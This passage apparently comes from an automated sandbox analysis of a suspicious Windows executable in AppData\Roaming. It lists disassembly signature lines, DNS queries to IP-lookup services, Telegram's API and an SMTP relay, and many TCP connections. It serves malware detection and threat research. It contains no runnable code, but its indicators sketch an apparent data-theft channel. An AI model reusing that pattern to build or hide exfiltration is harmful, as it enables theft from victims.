Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047A22Ah	29_2_00479F30
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00471A09h	29_2_00471738
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047D6C2h	29_2_0047D3C8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00471EA1h	29_2_00471BD0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00475EB1h	29_2_00475BE0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047BEDAh	29_2_0047BBE0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00473EA1h	29_2_00473BF8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047A6F2h	29_2_0047A3F8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0047EEAAh	29_2_0047EBB0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0051033Ah	29_2_00510040
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00514162h	29_2_00513E68
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0051330Ah	29_2_00513010
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00511B22h	29_2_00511828
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005137D2h	29_2_005134D8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00511FEAh	29_2_00511CF0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00511192h	29_2_00510E98
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0051297Bh	29_2_00512680
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00512E42h	29_2_00512B48
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 0051165Ah	29_2_00511360
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00510802h	29_2_00510508
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00510CCAh	29_2_005109D0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005124B2h	29_2_005121B8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 00513C9Ah	29_2_005139A0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005FFA11h	29_2_005FF740
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F62E1h	29_2_005F6038
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F9701h	29_2_005F9458
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F89F9h	29_2_005F8750
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F7CF1h	29_2_005F7A48
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F6FE9h	29_2_005F6D40
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F4021h	29_2_005F3D78
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005FC721h	29_2_005FC478
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005FEC49h	29_2_005FE978
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005FBA19h	29_2_005FB770
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F3319h	29_2_005F3070
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005FAD11h	29_2_005FAA68
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005FB5C1h	29_2_005FB318
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005FF0E1h	29_2_005FEE10
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F92A9h	29_2_005F9000
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F55D9h	29_2_005F5330
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005FDCD9h	29_2_005FDA30
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005FCFD1h	29_2_005FCD28
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F48D1h	29_2_005F4628
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005FC2C9h	29_2_005FC020
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F3BC9h	29_2_005F3920
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F5181h	29_2_005F4ED8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005FD881h	29_2_005FD5D8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005FCB7Bh	29_2_005FC8D0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F4479h	29_2_005F41D0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005FBE71h	29_2_005FBBC8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F3771h	29_2_005F34C8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005FB169h	29_2_005FAEC0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F85A1h	29_2_005F82F8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F7899h	29_2_005F75F0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F6B91h	29_2_005F68E8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F5E89h	29_2_005F5BE0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005FE7B1h	29_2_005FE4E0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F7441h	29_2_005F7198
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F6739h	29_2_005F6490
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F5A31h	29_2_005F5788
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005FE1C5h	29_2_005FDE88
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005FD429h	29_2_005FD180
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F4D29h	29_2_005F4A80
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F9B59h	29_2_005F98B0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005FF579h	29_2_005FF2A8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F8E51h	29_2_005F8BA8
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then jmp 005F8149h	29_2_005F7EA0
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	29_2_00625F38
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	29_2_00625F28
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	29_2_00622B00
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	29_2_00622E16
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	29_2_00622AF6
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Code function: 4x nop then push 00000000h	29_2_00627FCB

Source: global traffic	DNS query: name: exi.link
Source: global traffic	DNS query: name: exi.link
Source: global traffic	DNS query: name: exi.link
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: us2.smtp.mailhostbox.com
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: us2.smtp.mailhostbox.com
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: us2.smtp.mailhostbox.com
Source: global traffic	DNS query: name: us2.smtp.mailhostbox.com
Source: global traffic	DNS query: name: us2.smtp.mailhostbox.com
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: us2.smtp.mailhostbox.com
Source: global traffic	DNS query: name: us2.smtp.mailhostbox.com
Source: global traffic	DNS query: name: us2.smtp.mailhostbox.com
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: us2.smtp.mailhostbox.com
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: us2.smtp.mailhostbox.com
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: us2.smtp.mailhostbox.com
Source: global traffic	DNS query: name: us2.smtp.mailhostbox.com
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: us2.smtp.mailhostbox.com
Source: global traffic	DNS query: name: us2.smtp.mailhostbox.com
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: api.telegram.org

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49184 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49186 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49188 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49190 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49192 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49195 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49197 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49201 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 132.226.247.73:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.22:49185 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49187 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.22:49189 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.22:49191 -> 132.226.247.73:80
Source: global traffic	TCP traffic: 192.168.2.22:49193 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49194 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49196 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 159.203.133.15:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49184 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49184 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49184 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49184 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49184 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49184 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49186 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49186 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49186 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49186 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49186 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49186 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49188 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49188 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49188 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49188 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49188 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49188 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49190 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49190 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49190 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49190 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49190 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49190 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49192 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49192 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49192 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49192 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49192 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49192 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49195 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49195 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49195 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49195 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49195 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49195 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49197 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49197 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49197 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49197 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49197 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49197 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49201 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49201 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49201 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49201 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49201 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49201 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 149.154.167.220:443
